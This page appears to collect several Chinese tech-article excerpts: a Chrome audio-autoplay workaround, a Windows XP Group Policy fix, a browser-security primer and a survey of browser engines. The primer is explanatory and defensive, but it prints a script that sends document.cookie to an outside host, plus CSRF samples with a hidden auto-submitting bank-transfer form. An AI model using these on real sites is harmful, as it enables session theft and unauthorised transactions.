精华内容
下载资源
问答
  • 桌面版的 Safari 在 2017 年的 11 版本也宣布禁掉带有声音的多媒体自动播放功能,紧接着在 2018 年 4 月份发布的 Chrome 66 也正式关掉了声音自动播放,也就是说 audio autopaly 和 video autoplay 在桌面版浏览器也...

    众所周知,声音无法自动播放这个在 IOS/Android 上面一直是个惯例,桌面版的 Safari 在 2017 年的 11 版本也宣布禁掉带有声音的多媒体自动播放功能,紧接着在 2018 年 4 月份发布的 Chrome 66 也正式关掉了声音自动播放,也就是说 audio autopaly video autoplay 在桌面版浏览器也将失效。

    而且网上搜索如何解决这个问题,大部分会提到用javascript原生中的play()去解决,但是,当你运行时,你会发现Chrome下调用play后抱错:

    DOMException: play() failed because the user didn’t interact with the document first.

    但是,如果你想的是将音频当作背景音乐来播放时,当页面加载时音频文件就会自动响起,这个时候,用户是没有与页面进行数据交互的,所以play()会报错,很多人百度后便会找到两种主流的方法

    One:
    1. 进入到 chrome://flags/#autoplay-policy
    2. 找到Autoplay policy选项,设置为Setting No user gesture is required
    3. 重启:Relaunch Chrome
    
    Two:
    1. 直接在video标签中属性muted属性,静音播放即可
    

    首先来说方法一吧,目前的谷歌浏览器,已经将Autoplay policy选项进行删除了,所以你进入谷歌浏览器进行设置,是无法找到该选项的,而且作为网页背景音乐,你是要将效果给他人呈现出来的,所以,改动浏览器的选项是不够成熟的表现;再来说说方法二,如果你当作背景音乐进行播放,那么采用改变muted属性来达到自动播放效果的实现,自动播放是可以的,但是在这里用户需要背景音乐,而且是音频文件,muted属性是无法实现这个效果的。那么就有人问了,既然谷歌浏览器背景音乐无法自动播放,到底如何解决呢?

    这里采用音频API的AudioContext来自我构建一个播放器

    //浏览器适用       
     contextClass = window.AudioContext = window.AudioContext || window.webkitAudioContext || window.mozAudioContext || window.msAudioContext;
     try {
           var context = new contextClass();
           var source = null;
           var audioBuffer = null;
           function stopSound() {
                if (source) {
                    source.stop(musics); //立即停止
                 }
          		}
          function playSound() {
                    source = context.createBufferSource();
                    source.buffer = audioBuffer;
                    source.loop = true;
                    source.connect(context.destination);
                    source.start(0); //立即播放    
                }
          function initSound(arrayBuffer) {
                    context.decodeAudioData(arrayBuffer, function (buffer) { //解码成功时的回调函数
                        audioBuffer = buffer;
                        playSound();
                    }, function (e) { //解码出错时的回调函数
                        console.log('404', e);
                    });
                }
          function loadAudioFile(url) {
                    var xhr = new XMLHttpRequest(); //通过XHR下载音频文件
                    xhr.open('GET', url, true);
                    xhr.responseType = 'arraybuffer';
                    xhr.onload = function (e) { //下载完成
                        initSound(this.response);
                    };
                    xhr.send();
                }
                //这里用来存储背景音乐的路径
                loadAudioFile('audio/music.flac');
     } catch (e) {
          console.log('无法找到音乐!');
     }
    

    当你构建了一个播放器后,你便可以不受浏览器的限制,在你进入页面时进行缓存然后自动播放背景音乐。

    注意事项

    • 该方法仅对浏览器有效,无法在APP上实现音乐自动播放效果
    • 音频API的AudioContext可能运用的不多,欢迎大牛以及有个人见解的不妨提出来我们一起讨论讨论
    展开全文
  • 今天和大家分享一下xp系统打开浏览器internet选项提示“由于计算机限制,本次操作已被取消”问题的解决方法,在使用xp系统的过程中经常知道如何去解决xp系统打开浏览器internet选项提示“由于计算机限制,...

    今天和大家分享一下xp系统打开浏览器internet选项提示“由于计算机受到限制,本次操作已被取消”问题的解决方法,在使用xp系统的过程中经常不知道如何去解决xp系统打开浏览器internet选项提示“由于计算机受到限制,本次操作已被取消”的问题,有什么好的办法去解决xp系统打开浏览器internet选项提示“由于计算机受到限制,本次操作已被取消”呢?小编教你只需要1、首先按组合键“win+r”打开运行窗口,输入“gpedit.msc”并回车; 2、打开本地组策略编辑器后,依次展开“用户配置→管理模板→windows组件→internet explorer→浏览器菜单”,在浏览器菜单的右侧窗口中找到“工具”菜单:禁用“internet选项...”菜单选项并将其双击打开;就可以了。下面小编就给小伙伴们分享一下xp系统打开浏览器internet选项提示“由于计算机受到限制,本次操作已被取消”的详细步骤:

    65717a72d22f63d18c1e1c0221d6908f.png

    具体方法如下:

    1、首先按组合键“win+r”打开运行窗口,输入“gpedit.msc”并回车;

    12195afdc1fd712ca3135a31af457c62.png

    2、打开本地组策略编辑器后,依次展开“用户配置→管理模板→windows组件→internet explorer→浏览器菜单”,在浏览器菜单的右侧窗口中找到“工具”菜单:禁用“internet选项...”菜单选项并将其双击打开;

    b468dfdc690d55a19aaa7e9519dded5f.png

    3、在弹出的窗口中,选择已禁用或未配置,并确定保存设置即可。

    1efe5405cc12d858654f99db5a41bf18.png

    上述就是解决xp打开浏览器internet选项提示“由于计算机受到限制,本次操作已被取消”的问题,简单三个步骤,轻松帮助用户解决问题了。

    展开全文
  • 浏览器安全

    2019-10-10 21:07:26
    同源策略(Same origin policy)是一种约定,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能都会到影响。 可以说Web是构建在同源策略基础之上的,浏览器只是针对同源策略的一种...

    浏览器安全


    同源策略

    同源策略(Same origin policy)是一种约定,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能都会受到影响。 可以说Web是构建在同源策略基础之上的,浏览器只是针对同源策略的一种实现。 是由Netscape提出的一个著名的安全策略。

    同源的定义

    如果两个URL的协议,端口(如果有指定)和域名都相同,则两个页面具有相同的源。
    下表给出了相对http://store.company.com/dir/page.html同源检测的示例:

    URL结果原因
    http://store.company.com/dir2/other.html成功只有路径不同
    http://store.company.com/dir/inner/another.html成功只有路径不同
    https://store.company.com/secure.html失败不同协议 ( https和http )
    http://store.company.com:81/dir/etc.html失败不同端口 ( http:// 80是默认的)
    http://news.company.com/dir/other.html失败不同域名 ( news和store )

    跨域访问

    同源策略控制了两个源之间的交互,例如你使用XMLHttpRequest发起一个请求,或者使用<img>元素加载一张图片,则会受到同源策略的约束。这些交互通常分为三类:

    1. 允许跨域写入:链接、跳转和表单提交。
    2. 允许跨域嵌入跨域的资源内嵌是被允许的。下面是一些资源内容的例子:
    3. 通常不允许跨域读操作。但常可以通过内嵌资源来巧妙的进行读取访问。例如可以读取嵌入图片的高度和宽度,调用内嵌脚本的方法

    以下是可以嵌入跨源资源的一些示例:

    • 使用<script src="..."></script>加载Javascript。只有同源的脚本在语法错误时会显示错误信息。
    • 使用<link rel="stylesheet" href="...">加载CSS。跨源的CSS文件要求使用正确的Content-Type 响应头。
    • 使用<img>加载图片。
    • 使用<video><audio>加载媒体文件。
    • 使用 <object><embed><applet>加载插件。
    • 使用 @font-face加载字体。有些浏览器允许加载跨域的字体,有些则不允许。
    • 使用 <frame><iframe>加载任何东西。

    跨站脚本攻击(XSS)

    什么是 XSS

    • Cross-Site Scripting(跨站脚本攻击)简称 XSS,是一种代码注入攻击。攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害数据安全。为了和 CSS 区分,这里把攻击的第一个字母改成了 X,于是叫做 XSS。
    • XSS 的本质是:恶意代码未经过滤,与网站正常的代码混在一起;浏览器无法分辨哪些脚本是可信的,导致恶意脚本被执行

    XSS 分类

    存储型XSS

    1. 攻击者将恶意代码提交到目标网站的数据库中。
    2. 用户打开目标网站时,网站服务端将恶意代码从数据库取出,拼接在 HTML 中返回给浏览器。
    3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
    4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

    这种攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。

    反射型 XSS

    1. 攻击者构造出特殊的 URL,其中包含恶意代码。
    2. 用户打开带有恶意代码的 URL 时,网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器。
    3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
    4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

    反射型 XSS 跟存储型 XSS 的区别是:存储型 XSS 的恶意代码存在数据库里,反射型 XSS 的恶意代码存在 URL 里。

    反射型 XSS 漏洞常见于通过 URL 传递参数的功能,如网站搜索、跳转等。

    DOM 型 XSS

    1. 攻击者构造出特殊的 URL,其中包含恶意代码。
    2. 用户打开带有恶意代码的 URL。
    3. 用户浏览器接收到响应后解析执行,前端 JavaScript 取出 URL 中的恶意代码并执行。
    4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

    DOM 型 XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。

    案例及预防

    Cookie

    众所周知,Cookie常用来存储登录状态,个人信息等数据。通常情况下,Cookie是安全的,超过时限,Cookie会被系统删除,此外,Cookie是禁止跨域访问的。
    不过,Cookie除了可以在服务端进行读写外,也可以在客户端进行读写操作,这就存在了被窃取的风险。
    下面这段代码就可以窃取cookie

    <script>
        new Image().src="http://bizfe.com/log?c=" + encodeURI(document.cookie);
    </script>
    

    现在只需要利用前面提到的xss方法将这段代码植入到某个登陆用户的界面,然后就可以收集到这个用户的信息了。

    HttpOnly属性

    显然,Cookie是在客户端泄漏的,一般来说,只允许在服务端操作Cookie,才能保证一些必要的安全。
    通过如下方式设置cookie

      ctx.cookies.set('age','18', {
        httpOnly: false,
      });
      ctx.cookies.set('name','xss', {
        httpOnly: true,
      });
    

    此时在浏览器端读取cookie,发现,只能拿到“age=18”,通过debug工具检查此时站点的cookie会发现下图所示。
    在这里插入图片描述

    跨站点请求伪造(CSRF)

    什么是CSRF

    在用户登陆目标网站后,后端会返回用户登陆的凭证到前端(浏览器的 cookie)。攻击者诱使用户点击某个超链接,该超链接会发送恶意请求(会携带用户的 cookie),从而冒充用户完成业务请求(发帖、盗取用户资金等)。

    实例一

    银行网站A,它以GET请求来完成银行转账的操作,如:http://www.mybank.com/Transfe…

    危险网站B,它里面有一段HTML的代码如下:

    <img src=http://www.mybank.com/Transfer.php?money=1000>
    

    首先,你登录了银行网站A,然后访问危险网站B,噢,这时你会发现你的银行账户少了1000块。。。

    实例二

    为了杜绝上面的问题,银行决定改用POST请求完成转账操作。于是钓鱼网站也进行了升级:

    1. 第一个展示页面(test):
    <!DOCTYPE HTML>
    <html lang="en-US">
    <head>
    <title>CSRF SHOW</title>
    </head>
         <body>
              <iframe style="display:none;" src="test2.html"></iframe>
         </body>
    </html>
    
    1. 第二个隐藏页面(test2):
    <!DOCTYPE HTML>
    <html lang="en-US">
    <head>
    <title>CSRF GET</title>
    <body>
         <form  name="form1" action="http://www.mybank.com/Transfer.php" method="post">
              <input type="hidden" name="money" value="1000"/>
              <input type="submit" value>
         </form>
         <script>
              document.forms.form1.submit();
         </script>
    </body>
    </html>
    

    此时,如果用户继续上面的操作,将会再次发现1000块钱不见了。

    CSRF攻击的本质原因

    CSRF攻击是源于Web的隐式身份验证机制!Web的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的。CSRF攻击的一般是由服务端解决。

    CSRF工具的防御手段

    1. 尽量使用POST,限制GET
    2. 加验证码——强制用户必须与应用进行交互,才能完成最终请求。在通常情况下,验证码能很好遏制CSRF攻击。但是出于用户体验考虑,网站不能给所有的操作都加上验证码。因此验证码只能作为一种辅助手段,不能作为主要解决方案。
    3. Referer检查
    4. token

    网站隔离

    • Site Isolation 是 Chrome 为应对潜在的安全问题所实现的功能,以防止恶意网站获取其他网站的信息。
    • 同源策略确实起到了一定的保护作用,但是,后来人们意识到,在同一个地址空间内,只要有运行不安全的代码,整个地址空间的安全都不能完全保证。
    • chrome67以前的进程模型基本上就是为每个页面创建一个进程,但是还是存在不同的网站用同一个进程的情况,比如 iframes 和父页面。
    • 不同的网站 :使用同一个协议,同一个注册域名的网址都属于同一个网站,这比同源策略里的 same origin 要宽泛一些,不同的子域名,不同的端口都算同一个网站。

    沙盒:页面和系统之间的隔离墙

    什么是沙盒

    对于网络上的网页,浏览器认为他们是不安全的,因为网页总是存在各种可能性,也许是无意的或有意的攻击。如果有一种机制,将网页的运行限制在一个特定的环境中,也就是一个沙箱中,使它只能访问有限的功能。那么,即使网页工作的渲染引擎被攻击,它也不能够获取渲染引擎工作的主机系统中的任何权限,这一思想就是沙箱模型。

    原理

    “沙盒”技术与主动防御技术原理截然不同。主动防御是发现程序有可疑行为时立即拦截并终止运行。“沙盒”技术则是发现可疑行为后让程序继续运行,当发现的确是病毒时才会终止。“沙盒”技术的实践运用流程是:让疑似病毒文件的可疑行为在虚拟的“沙盒”里充分表演,“沙盒”会记下它的每一个动作;当疑似病毒充分暴露了其病毒属性后,“沙盒”就会执行“回滚”机制:将病毒的痕迹和动作抹去,恢复系统到正常状态。

    实现

    • 沙箱模型严重依赖操作系统提供的技术,而不同的操作系统提供的安全技术是不一样的,这就意味着不同操作系统上的实现是不一致的
    • Chrome的主要进程:浏览器进程,渲染进程,插件进程、拓展进程。其中的渲染引擎由SandBox隔离,网页代码要与浏览器内核进程通信、与操作系统通信都需要通过IPC channel,在其中会进行一些安全检查。采用SandBox技术,可以让网页的渲染在一个独立的Renderer进程中进行,并且该进程是受限的
      在这里插入图片描述

    HTTPS:让数据传输更安全

    对称加密和非对称加密

    • 对称加密简单说,就是发送方将经过加密的信息连同密钥一起发送给接收方,接收方需要使用密钥将信息解密。
    • 非对称加密指的是,双方都有自己的公钥和私钥对,将公钥发送给对方,私钥自己保管,发送方通过公钥(私钥)进行加密,接收方使用私钥(公钥)进行解密。这就是RSA的加解密原理

    HTTPS

    有些人认为HTTPS就是RSA,使用RSA加解密数据,实际上这是不对的。HTTPS是使用RSA进行身份验证和交换密钥,然后再使用交换的密钥进行加解密数据。身份验证是使用RSA的非对称加密,而数据传输是双方使用相同的密钥进行的对称加密。

    HTTPS主要有以下作用

    • 验证服务方身份,如我访问google.com的时候连的确实就是谷歌服务器
    • 防止数据被劫持,例如有些运营商会给http的页面插入广告
    • 防止敏感数据被窃取篡改等

    HTTPS连接建立过程

    1. TCP三次握手
    2. 客户端(浏览器)发起一个HTTPS连接建立请求,客户端先发一个Client Hello的包——包括客户端要使用的TLS版本,支持的加密套装,要访问的域名,给服务端生成的一个随机数(Nonce)等。需要提前告知服务器想要访问的域名以便服务器发送相应的域名的证书过来,因为此时还没有发生HTTP请求
    3. 服务端响应一个Server Hello,给客户端发送它的证书——包含待签名证书内容、证书签名算法和CA给的签名
    4. 双方经过密钥交换
    5. 使用交换的密钥加行加解密数据

    HTTPS能够验证身份的原理

    上面第三步服务端发送给客户端的证书会有多个,例如,我们访问MDN(https://developer.mozilla.org),服务端会返回给客户端四个证书,如图
    在这里插入图片描述
    第一个证书的公用名(common name)就是我们当前访问的域名developer.mozilla.org,如果公用名是*.mozilla.org的话那么这个证书便能给mozilla.org的所有二级子域名使用。第二个证书是第一个证书的签发机构(CA)的证书,它是Amazon,也就是说Amazon会用它的私钥给developer.mozilla.org进行签名。依此类推,第三个证书会给第二个证书签名,第四个证书会给第三个证书签名,并且我们可以看到第四个证书是一个根(Root)证书。
    假如黑客通过DNS欺骗之类的方式把你访问的域名指向了他的机器,然后他再伪造一个证书。但是由于根证书都是内置于操作系统的,所以它改不了签名的公钥,并且它没有正确的私钥,只能用自己的私钥,由于公私钥不配对,很难保证加解密后的信息一致。或者直接把浏览器拿到的证书搬到他自己的服务器?这样再给浏览器发的证书便是一模一样,但是由于他不知道证书的私钥,所以无法进行后续的操作,因此这样是没有意义的。

    HTTPS证书的应用

    那么是谁在做HTTPS加密呢?服务端通常是Nginx、Apache这些反向代理服务器做的,而具体的业务服务器不需要处理,客户端通常是浏览器等做的加解密,Chrome是使用boringSSL这个库,fork自openssl。
    我们可以通过let’s encrypt可以申请免费的TLS证书,每3个月需要手动续,证书分为3种:DV、OV、EV,DV适用于个人,OV和EV需要身份审核,EV最高端。
    另外我们可以用用openssl生成一个自签名证书,执行以下命令:

    openssl req -x509 -nodes -sha256 -days 365 -newkey rsa:2048 -keyout test.com.key -out test.com.crt
    

    便会得到两个文件,test.com.crt是证书,test.com.key是证书的私钥
    然后把这两个文件给nginx使用便能使用https访问,如下代码所示:

    server {
            listen       443;
            server_name  test.com;
            ssl on;
            ssl_certificate    test.com.crt;
            ssl_certificate_key    test.com.key;
         }
    

    可以把这个证书添加到系统证书里面,这样浏览器等便能信任。

    展开全文
  • 浏览器内核

    千次阅读 2012-06-22 15:19:11
    浏览器最重要或者说核心的部分是“Rendering Engine”,可大概译为“解释引擎”,不过我们一般习惯将之称为“浏览器内核”。负责对网页语法的解释(如HTML、JavaScript)并渲染(显示)网页。 所以,通常所谓的...

    浏览器最重要或者说核心的部分是“Rendering Engine”,可大概译为“解释引擎”,不过我们一般习惯将之称为“浏览器内核”。负责对网页语法的解释(如HTML、JavaScript)并渲染(显示)网页。 所以,通常所谓的浏览器内核也就是浏览器所采用的渲染引擎,渲染引擎决定了浏览器如何显示网页的内容以及页面的格式信息。不同的浏览器内核对网页编写语法的解释也有不同,因此同一网页在不同的内核的浏览器里的渲染(显示)效果也可能不同,这也是网页编写者需要在不同内核的浏览器中测试网页显示效果的原因。

    Rendering Engine

      浏览器内核很多,如果加上所有的几乎没有什么人在用的非商业的免费内核,那么可能大约有10款以上甚至更多,不过通常我们比较常见的大约只有以下四种,下面先简单介绍一下。


      Trident: IE浏览器使用的内核,该内核程序在1997年的IE4中首次被采用,是微软在Mosaic代码的基础之上修改而来的,并沿用到目前的IE9。Trident实际上是一款开放的内核,其接口内核设计的相当成熟,因此才有许多采用IE内核而非IE的浏览器涌现(如 360浏览器、Maxthon、The World 、TT、GreenBrowser、AvantBrowser等)。此外,为了方便也有很多人直接简称其为IE内核(当然也不排除有部分人是因为不知道内核名称而只好如此说)。

      由于IE本身的“垄断性”(虽然名义上IE并非垄断,但实际上,特别是从Windows 95年代一直到XP初期,就市场占有率来说IE的确借助Windows的东风处于“垄断”的地位)而使得Trident内核的长期一家独大,微软很长时间都并没有更新Trident内核,这导致了两个后果——一是Trident内核曾经几乎与W3C标准脱节(2005年),二是Trident内核的大量 Bug等安全性问题没有得到及时解决,然后加上一些致力于开源的开发者和一些学者们公开自己认为IE浏览器不安全的观点,也有很多用户转向了其他浏览器,Firefox和Opera就是这个时候兴起的。非Trident内核浏览器的市场占有率大幅提高也致使许多网页开发人员开始注意网页标准和非IE浏览器的浏览效果问题。

    编辑本段Gecko

       Gecko : Netscape6开始采用的内核,后来的 Mozilla FireFox (火狐浏览器) 也采用了该内核,Gecko的特点是代码完全公开,因此,其可开发程度很高,全世界的程序员都可以为其编写代码,增加功能。因为这是个开源内核,因此受到许多人的青睐,Gecko内核的浏览器也很多,这也是Geckos内核虽然年轻但市场占有率能够迅速提高的重要原因。
      事实上, Gecko引擎 的由来跟IE不无关系,前面说过IE没有使用 W3C 的标准,这导致了微软内部一些开发人员的不满;他们与当时已经停止更新了的 Netscape的一些员工一起创办了Mozilla,以当时的Mosaic内核为基础重新编写内核,于是开发出了Geckos。不过事实上,Gecko 内核的浏览器仍然还是Firefox (火狐) 用户最多,所以有时也会被称为Firefox内核。此外Gecko也是一个跨平台内核,可以在Windows、 BSD、Linux和Mac OS X中使用。

    编辑本段Presto

       Presto : 目前 Opera 采用的内核,该内核在2003年的Opera7中首次被使用,该款引擎的特点就是渲染速度的优化达到了极致,也是目前公认网页浏览速度最快的浏览器内核,然而代价是牺牲了网页的兼容性。
      实际上这是一个动态内核,与前面几个内核的最大的区别就在脚本处理上,Presto有着天生的优势,页面的全部或者部分都能够在回应脚本事件时等情况下被重新解析。此外该内核在执行Javascrīpt的时候有着最快的速度,根据在同等条件下的测试,Presto内核执行同等Javascrīpt所需的时间仅有Trident和Gecko内核的约1/3(Trident内核最慢,不过两者相差没有多大)。那次测试的时候因为Apple机的硬件条件和普通PC机不同所以没有测试WebCore内核。只可惜Presto是商业引擎,使用Presto的除开Opera以外,只剩下NDSBrowser、Wii Internet Channle、Nokia 770网络浏览器等,这很大程度上限制了Presto的发展。

    编辑本段Webkit

       Webkit :苹果公司自己的内核,也是苹果的 Safari 浏览器使用的内核。 Webkit引擎包含WebCore 排版引擎 及JavaScriptCore解析引擎,均是从KDE的KHTML及KJS引擎衍生而来,它们都是自由软件,在GPL条约下授权,同时支持 BSD系统 的开发。所以Webkit也是自由软件,同时开放源代码。在安全方面不受IE、Firefox的制约,所以Safari浏览器在国内还是很安全的。
      限于Mac OS X的使用不广泛和Safari浏览器曾经只是Mac OS X的专属浏览器,这个内核本身应该说市场范围并不大;但似乎根据最新的浏览器调查表明,该浏览器的市场甚至已经超过了Opera的Presto了——当然这一方面得益于苹果转到x86架构之后的人气暴涨,另外也是因为Safari 3终于推出了Windows版的缘故吧。Mac下还有OmniWeb、Shiira等人气很高的浏览器。
      google的chrome、360极速浏览器以及搜狗浏览器高速模式也使用webkit作为内核。
      WebKit 内核在手机上的应用也十分广泛,例如 Google 的手机 Gphone、 Apple 的 iPhone, Nokia’s Series 60 browser 等所使用的 Browser 内核引擎,都是基于 WebKit。

    编辑本段WebCore

      WebCore是苹果公司开发的排版引擎,它是在另外一个排版引擎“KHTML”的基础上而来的。苹果电脑于2002年采纳了KHTML,作为开发Safari浏览器之用,并发布所修改的最新及过去版本源代码。后来发表了开放源代码的WebCore及WebKit引擎,它们均是KHTML的衍生产品。使用WebCore的主要有Safari,此外还有OmniWeb、Shiira、Swift等。

    编辑本段KHTML

      KHTML,是HTML网页排版引擎之一,由 KDE 所开发。
      KDE系统自KDE2版起,在档案及 网页浏览器 使用了KHTML引擎。该引擎以C++编程语言所写,并以LGPL授权,支援大多数网页浏览标准。由于微软的Internet Explorer的占有率相当高,不少以FrontPage制作的网页均包含只有IE才能读取的非标准语法,为了使KHTML引擎可呈现的网页达到最多,部分IE专属的语法也一并支援。
      KHTML拥有速度快捷的优点,但对错误语法的容忍度则比Mozilla产品所使用的Gecko引擎小。
      苹果电脑于2002年采纳了KHTML,作为开发Safari浏览器之用,并发布所修改的最新及过去版本源代码。后来发表了开放源代码的WebCore及WebKit引擎,它们均是KHTML的衍生产品,在开发网站列出引擎改变内容,并会传回至KDE计划。由于两个衍生产品各走不同路线,使两者源代码偏离,在与KDE交换更新会出现困难。其中一个原因,是苹果在对外公开源代码之前,以一年时间编修他们的KHTML。另外,苹果传送更新至KDE计划的方式,多是一口气把大量改动一起传送,KDE在整理资料也出现一定的困难,及后苹果表示会以CVS格式来传送。再者,苹果所作出的改动包括Mac OS X系统独有的事物,如 Objective-C 、KWQ等,在Linux及KHTML是没有的。但KDE方面仍透过这些改动,为KHTML加入新功能及加快其排版速度。
      基于KHTML内核的内核:WebKit、WebCore。

    基于Geckos内核的浏览器

    Firefox浏览器

      Mozilla Firefox,非正式中文名称火狐,是一个开源网页浏览器,使用Geckos引擎(即非ie内核),由 Mozilla基金会 与数百个志愿者所开发。原名“Phoenix”(凤凰),之后改名“Mozilla Firebird”(火鸟),再改为现在的名字。 Firefox是Mozilla基金会开发的一个轻便、快速、简单与高扩充性的浏览器。

    Redfox浏览器

      Redfox是经过定制后的绿色安装增强FireFox版本,其特点如下:采用正式版代码编译优化,支持部分非标准网站;不写注册表,可以方便的拷贝移动或者删除;加入了大量常用扩展供大家在安装的时候选择;对原有FireFox的错误和不方便设置进行了修正;调整了部分次参数进一步加快FireFox的浏览速度。

    Madfox浏览器

      Madfox是一个基于Firefox的浏览器。Firefox是一个非常优秀的浏览器,但是由于我们周围有很多不符合互联网标准的网站,从而在很大程度上阻碍了Firefox的推广。对于标准和非标准,无论是技术还是非技术层面,都有着非常激烈的争论。Madfox项目的目的,是希望仅从技术的角度出发,通过扩展Firefox,尝试去兼容不符合标准和规范的网站。

    DR.Orca浏览器

       Dr.Orca 是一款方便、实用的单窗口多页面浏览器。它基于Geckos引擎,除了拥有Gecko核心浏览器的浏览速度快的特点,还具备了时下各种主流的浏览器所具备的很多功能,如支持鼠标手势、强大的过滤功能、群组收藏功能等。Dr.Orca还提供了多语言选择,其中包括了简体中文。

    K-Meleon浏览器

       K-Meleon 是一个可自定义的,轻型的用于WIN32(WINDOWS)平台的网络浏览器,基于Geckos设计引擎。K-Meleon是在遵循GNU公共许可证下的开放源代码的自由软件。

    Netscape 6.0 之后版本

       网景 (Netscape)是一个自1994年开始的品牌。它亦是网景通讯公司(Netscape Communications Corporation,1994年4月4日—2003年7月5日)的常用简称。网景通讯公司曾经是一间美国的电脑服务公司,以其生产的同名网页浏览器而闻名。

    编辑本段基于Presto内核的浏览器

       Opera浏览器
      Opera为来自 挪威 的一个极为出色的浏览器,具有速度快、节省 系统资源 、订制能力强、安全性高以及体积小等特点,目前已经是最受欢迎的浏览器之一。多文件接口(MDI)、方便的缩放功能、整合搜索引擎、键盘截径与鼠标浏览功能、当机时下次可以从上次浏览进度开始、防止pop-up、Fullscreen、对HTML标准的支持、整合 电子邮件 与新闻群组以及让使用者自订接口按钮、skin、工具列等的排列方式,都是Opera多年来备受喜爱的特殊功能。

    编辑本段基于Kestrel内核的浏览器

      Opera 9.5 之后版本
      最新正式版Opera 9.5使用了Kestrel内核,全新 的内核使Opera 9.5速度更快,且它支持开放网页标准。其中Opera Link功能可以使用户自由连接使用Opera浏览器的设备。最新的Opera 9.5浏览器可以在Windows、Mac及 Linux操作系统 下完美运行。用户可以在Opera官方网站上免费下载

    编辑本段基于多种内核的浏览器

    傲游浏览器3(Maxthon3.0+)

       傲游 浏览器3.0是国内首先尝试使用Webkit与Trident双核心的浏览器。Webkit核心将使你打开网页的速度更快,Trident 核心则会带给你更好的兼容性支持。除此之外,傲游3.0目前还包括智能填表、智能地址栏、弹窗过滤、在线收藏等功能。

    QQ浏览器6.11

       QQ浏览器 6.11是 腾讯公司 推出的新一代浏览器,使用极速(Webkit)和普通(Trident)双浏览模式,设计了全新的界面交互及程序框架,目的是为用户打造一款快速、稳定、安全、网络化的优质浏览器。

    搜狗高速浏览器(3.0+)

       搜狗浏览器 ,搜狐出品,使用高速(webkit)和兼容(Trident)双浏览模式,保证良好兼容性的同时极大提升网页浏览速度。当采用高速模式访问网页出现问题时,可点击地址栏旁边的内核按钮直接切换内核,使用兼容性更佳的兼容模式正常浏览网页。

    Lunascape(5.0+)

       Lunascape 浏览器,是 日本 Lunascape公司出品的三引擎浏览器。可在浏览器中自由切换三种渲染引擎:Trident(IE)、 Gecko(Firefox)和WebKit,最大地保证了浏览器的兼容性和稳定、快速的特点。此浏览器还获得数个奖项,号称世界首款融合了3种内核、运行速度最快的浏览器。其充分应用了 web2.0 的时代特征,将浏览器与各种网络服务进行了无缝集成,并携带了多种革命性的功能。如高性能的选项卡式浏览、方便快捷的鼠标手势、RSS订阅、防止意外崩溃功能、 IE工具栏 支持、直接导入设置从多种浏览器中、自动删除个人信息、多种自定义外观、支持 视频共享 网站与SNS网站的插件、3种内核自由切换等等。总之,Lunascape可以让您在日常生活中的各种事物均可直接在浏览器内完成。

    展开全文
  • 浏览器缓存

    2018-01-09 09:51:42
    浏览器缓存(Browser Caching)是浏览器端保存数据用于快速读取或避免重复资源请求的优化机制,有效的缓存使用可以避免重复的网络请求和浏览器快速地读取本地数据,整体 上加速网页展示给用户。当你打开一个网页,...
  • 此外如果浏览器不限制,大量的请求同时发至服务器,也可能超过服务器的处理并发请求的数量阈值(针对单个 IP),从而导致请求失败。 2.有办法突破限制吗? 答:浏览器的并发请求数目限制针对同一域名,因此可以...
  • 李夏是一名医院的护士,一天晚上加班赶制文档,由于要向患者宣讲健康科普知识,需要获取大量网上信息,然而在制作中却发现浏览器的网页打开了。第二天原计划向患者宣讲的材料未能完整汇总,宣传效果也打了折扣。 ...
  • 李夏是一个公司的职员,一天晚上加班赶制文档,由于要向客户汇报产品情况,需要获取大量网上信息,然而在制作中却发现浏览器的网页打开了。第二天原计划向客户展示的材料未能完整汇总,客户见面对接效果也打了折扣...
  • chrome浏览器google搜索结果打

    千次阅读 2012-12-07 11:22:51
    链接打开,永远是一个空白页的解决办法: 单个网页解决办法:在这个跳转链接前加上 “htpps”,注意是 带 s 的。 推荐解决办法:(2)、打开Chrome,在地址栏键入chrome://net-internals/,在HSTS选项卡下的...
  • 李夏是一个公司的职员,一天晚上加班赶制文档,由于要向客户汇报产品情况,需要获取大量网上信息,然而在制作中却发现浏览器的网页打开了。第二天原计划向客户展示的材料未能完整汇总,客户见面对接效果也打了折扣...
  • HTML的HTTP协议头信息中控制着页面在几个地方的缓存信息,包括浏览器端,中间缓存服务器端(如:squid等),Web服务器端。本文讨论头信息 中带缓存控制信息的HTML页面(JSP/Servlet生成好出来的也是HTML页面)在中间缓存...
  • 李夏是一个公司的职员,一天晚上加班赶制文档,由于要向客户汇报产品情况,需要获取大量网上信息,然而在制作中却发现浏览器的网页打开了。第二天原计划向客户展示的材料未能完整汇总,客户见面对接效果也打了折扣...
  • 当我们在浏览网页的时候,对浏览速度有一个重要的影响因素,就是浏览器的并发数量。并发数量简单通俗的讲就是,当浏览器网页的时候同时工作的进行数量。 如果同时只有2个并发连接数数量,那网页打开的时候只能...
  • 浏览器存储

    千次阅读 2020-07-17 17:11:17
    浏览器存储数据 在开发过程中,有些数据我们需要多次用到,但是如果每一次需要就去和服务器请求,那么无疑会造成一定的资源浪费,所以我们可以根据业务需求,把一些数据在浏览器中存储起来,目前最常见的存储方案是...
  • 浏览器劫持

    千次阅读 2009-03-05 15:09:00
    为什么说“浏览器劫持”可以说是合法的呢?因为大部分浏览器劫持的发起者,都是通过一种被称为“BHO”(Browser Helper Object,浏览器辅助对象)的技术手段植入系统的。BHO是微软早在1999年推出的作为浏览器对第三...
  • 浏览器安全配置

    2019-12-24 14:37:25
